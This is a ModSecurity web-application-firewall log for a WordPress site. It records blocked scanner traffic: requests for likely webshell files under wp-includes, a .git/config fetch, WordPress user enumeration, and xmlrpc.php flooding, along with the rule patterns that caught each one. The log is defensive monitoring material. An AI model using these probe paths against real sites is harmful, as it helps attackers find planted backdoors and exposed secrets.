[Fri Apr 03 05:54:09.892430 2026] [:error] [pid 22672:tid 22739] [client 45.154.98.56:57642] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac7lgazrgXkFSOK0fvqNiwAAAFQ"]
[Fri Apr 03 05:54:10.393563 2026] [:error] [pid 22672:tid 22726] [client 45.154.98.56:57744] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac7lgqzrgXkFSOK0fvqNjgAAAEc"]
[Fri Apr 03 05:54:10.880671 2026] [:error] [pid 22672:tid 22743] [client 45.154.98.56:57864] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac7lgqzrgXkFSOK0fvqNkQAAAFg"]
[Fri Apr 03 05:54:13.238176 2026] [:error] [pid 22778:tid 22789] [client 45.154.98.56:58332] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "ac7lhfS-q9hkdFqUjq-IBgAAAMQ"]
[Fri Apr 03 07:28:42.299838 2026] [:error] [pid 35469:tid 35484] [client 43.135.135.57:33868] [client 43.135.135.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac77qqGvTIc8-wY3jUQopwAAAQ0"]
[Fri Apr 03 07:33:27.277408 2026] [:error] [pid 33446:tid 33487] [client 45.92.1.11:63671] [client 45.92.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac78x9g3dCqFYIIdw0onTgAAAEo"]
[Fri Apr 03 07:33:27.763214 2026] [:error] [pid 35469:tid 35491] [client 45.92.1.11:63881] [client 45.92.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac78x6GvTIc8-wY3jUQpygAAARQ"]
[Fri Apr 03 07:33:28.246467 2026] [:error] [pid 33447:tid 33515] [client 45.92.1.11:64079] [client 45.92.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac78yEgaPmDHz92j4lOfkAAAAIs"]
[Fri Apr 03 07:33:30.567057 2026] [:error] [pid 40533:tid 40555] [client 45.92.1.11:65203] [client 45.92.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "ac78yvbIAA8AViDmwssQ-gAAAVQ"]
[Fri Apr 03 08:02:22.138489 2026] [:error] [pid 33446:tid 33481] [client 43.155.140.157:37606] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac8Djtg3dCqFYIIdw0ourwAAAEQ"]
[Fri Apr 03 09:43:17.076781 2026] [:error] [pid 40562:tid 40582] [client 159.223.184.140:53900] [client 159.223.184.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ac8bNTfFMXuP9zvqCeqyWwAAAZE"]
[Fri Apr 03 10:24:57.519427 2026] [autoindex:error] [pid 33447:tid 33505] [client 144.91.97.142:55002] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 03 12:55:30.255133 2026] [:error] [pid 35469:tid 35491] [client 43.130.100.35:41054] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac9IQqGvTIc8-wY3jUSEiAAAARQ"]
[Fri Apr 03 13:18:08.443215 2026] [:error] [pid 35469:tid 35489] [client 114.96.103.33:55198] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac9NkKGvTIc8-wY3jUSOkAAAARI"]
[Fri Apr 03 13:41:08.222502 2026] [:error] [pid 55174:tid 55188] [client 43.131.45.213:36672] [client 43.131.45.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac9S9J_WKqUonPNUHYyCjgAAAcw"]
[Fri Apr 03 17:58:42.189974 2026] [:error] [pid 35469:tid 35492] [client 43.157.170.126:38862] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac-PUqGvTIc8-wY3jUQKoQAAARU"]
[Fri Apr 03 18:26:00.798570 2026] [:error] [pid 33445:tid 33470] [client 43.157.147.3:38314] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac-VuFlRNZ0iDVmJWM25NwAAABQ"]
[Fri Apr 03 19:49:40.681793 2026] [:error] [pid 33445:tid 33465] [client 114.80.36.40:47802] [client 114.80.36.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac-pVFlRNZ0iDVmJWM3e6AAAAA8"]
[Fri Apr 03 21:15:04.422709 2026] [:error] [pid 55174:tid 55184] [client 130.12.182.153:49603] [client 130.12.182.153] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "ac-9WJ_WKqUonPNUHYzzggAAAcg"]
[Fri Apr 03 21:15:05.657785 2026] [:error] [pid 55174:tid 55197] [client 130.12.182.153:49603] [client 130.12.182.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.12.182.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac-9WZ_WKqUonPNUHYzzigAAAdU"]
[Fri Apr 03 21:15:06.952695 2026] [:error] [pid 40533:tid 40555] [client 130.12.182.153:53308] [client 130.12.182.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.12.182.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac-9WvbIAA8AViDmwsuufAAAAVQ"]
[Fri Apr 03 21:15:08.250946 2026] [:error] [pid 40533:tid 40540] [client 130.12.182.153:53660] [client 130.12.182.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.12.182.153, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac-9XPbIAA8AViDmwsuugQAAAUU"]
[Fri Apr 03 21:15:08.251110 2026] [:error] [pid 40533:tid 40540] [client 130.12.182.153:53660] [client 130.12.182.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 130.12.182.153, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac-9XPbIAA8AViDmwsuugQAAAUU"]
[Fri Apr 03 21:21:57.068151 2026] [:error] [pid 33542:tid 33554] [client 123.252.234.128:54884] [client 123.252.234.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.252.234.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac--9Xwb6uB1LaGtepb7XgAAAMk"]
[Fri Apr 03 21:22:08.806425 2026] [:error] [pid 55174:tid 55195] [client 187.108.214.124:14956] [client 187.108.214.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.108.214.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac-_AJ_WKqUonPNUHYz2WgAAAdM"]
[Fri Apr 03 22:38:12.917668 2026] [:error] [pid 33445:tid 33474] [client 43.135.140.225:56806] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac_Q1FlRNZ0iDVmJWM05fQAAABg"]
[Fri Apr 03 23:09:50.376145 2026] [:error] [pid 33542:tid 33555] [client 43.133.253.253:33664] [client 43.133.253.253] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac_YPnwb6uB1LaGtepYiUwAAAMo"]
[Fri Apr 03 23:43:58.290551 2026] [:error] [pid 33445:tid 33469] [client 216.24.210.182:61291] [client 216.24.210.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ac_gPllRNZ0iDVmJWM1pPQAAABM"]
[Sat Apr 04 02:39:39.828564 2026] [:error] [pid 44382:tid 44386] [client 72.146.45.53:55082] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55l453.php"] [unique_id "adAJa5pzSLFOX5FpZ8rLWgAAAAI"]
[Sat Apr 04 02:39:40.329472 2026] [:error] [pid 12233:tid 12243] [client 72.146.45.53:42322] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55l453.php"] [unique_id "adAJbBQDAzkmdfiSgI3ongAAAQg"]
[Sat Apr 04 02:39:40.987436 2026] [:error] [pid 12233:tid 12247] [client 72.146.45.53:35089] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55l453.php"] [unique_id "adAJbBQDAzkmdfiSgI3oogAAAQw"]
[Sat Apr 04 02:39:41.498212 2026] [:error] [pid 12081:tid 12101] [client 72.146.45.53:50137] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55l453.php"] [unique_id "adAJbaMJBCYerZTQdmIr2wAAAEE"]
[Sat Apr 04 02:39:42.039038 2026] [:error] [pid 12097:tid 12162] [client 72.146.45.53:47968] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "adAJbhnkcvJ01y2CY3nUBAAAAMc"]
[Sat Apr 04 02:39:42.672060 2026] [:error] [pid 44382:tid 44390] [client 72.146.45.53:17332] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "adAJbppzSLFOX5FpZ8rLZwAAAAY"]
[Sat Apr 04 02:39:43.290534 2026] [:error] [pid 44382:tid 44400] [client 72.146.45.53:19553] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "adAJb5pzSLFOX5FpZ8rLbAAAABA"]
[Sat Apr 04 02:39:43.833054 2026] [:error] [pid 44382:tid 44399] [client 72.146.45.53:55051] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "adAJb5pzSLFOX5FpZ8rLbgAAAA8"]
[Sat Apr 04 02:39:44.312630 2026] [:error] [pid 44382:tid 44389] [client 72.146.45.53:25094] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkyac.php"] [unique_id "adAJcJpzSLFOX5FpZ8rLdAAAAAU"]
[Sat Apr 04 02:39:44.822084 2026] [:error] [pid 44382:tid 44387] [client 72.146.45.53:42321] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkyac.php"] [unique_id "adAJcJpzSLFOX5FpZ8rLdwAAAAM"]
[Sat Apr 04 02:39:45.357697 2026] [:error] [pid 12081:tid 12106] [client 72.146.45.53:64154] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkyac.php"] [unique_id "adAJcaMJBCYerZTQdmIr5QAAAEY"]
[Sat Apr 04 02:39:45.855937 2026] [:error] [pid 44382:tid 44407] [client 72.146.45.53:50160] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkyac.php"] [unique_id "adAJcZpzSLFOX5FpZ8rLegAAABc"]
[Sat Apr 04 02:39:46.365619 2026] [:error] [pid 12233:tid 12255] [client 72.146.45.53:19554] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "adAJchQDAzkmdfiSgI3osgAAARQ"]
[Sat Apr 04 02:39:46.884108 2026] [:error] [pid 12089:tid 12131] [client 72.146.45.53:45524] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "adAJckSCG1Z_hi7I_jKGaQAAAIQ"]
[Sat Apr 04 02:39:47.410725 2026] [:error] [pid 12233:tid 12253] [client 72.146.45.53:47982] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "adAJcxQDAzkmdfiSgI3otgAAARI"]
[Sat Apr 04 02:39:47.897568 2026] [:error] [pid 12233:tid 12242] [client 72.146.45.53:55047] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "adAJcxQDAzkmdfiSgI3ouQAAAQc"]
[Sat Apr 04 02:39:48.377212 2026] [:error] [pid 12233:tid 12250] [client 72.146.45.53:16629] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "adAJdBQDAzkmdfiSgI3ouwAAAQ8"]
[Sat Apr 04 02:39:48.856423 2026] [:error] [pid 12233:tid 12255] [client 72.146.45.53:42307] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HLA-dd.php"] [unique_id "adAJdBQDAzkmdfiSgI3ovgAAARQ"]
[Sat Apr 04 02:39:49.332510 2026] [:error] [pid 12081:tid 12124] [client 72.146.45.53:55084] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HLA-dd.php"] [unique_id "adAJdaMJBCYerZTQdmIr5wAAAFg"]
[Sat Apr 04 02:39:49.808924 2026] [:error] [pid 12233:tid 12249] [client 72.146.45.53:47993] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HLA-dd.php"] [unique_id "adAJdRQDAzkmdfiSgI3oygAAAQ4"]
[Sat Apr 04 02:39:50.293843 2026] [:error] [pid 12097:tid 12155] [client 72.146.45.53:16603] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/HLA-dd.php"] [unique_id "adAJdhnkcvJ01y2CY3nUCgAAAME"]
[Sat Apr 04 02:39:50.771620 2026] [:error] [pid 12081:tid 12116] [client 72.146.45.53:35091] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsc.php"] [unique_id "adAJdqMJBCYerZTQdmIr6wAAAFA"]
[Sat Apr 04 02:39:51.289793 2026] [:error] [pid 12233:tid 12245] [client 72.146.45.53:35107] [client 72.146.45.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsc.php"] [unique_id "adAJdxQDAzkmdfiSgI3o1gAAAQo"]
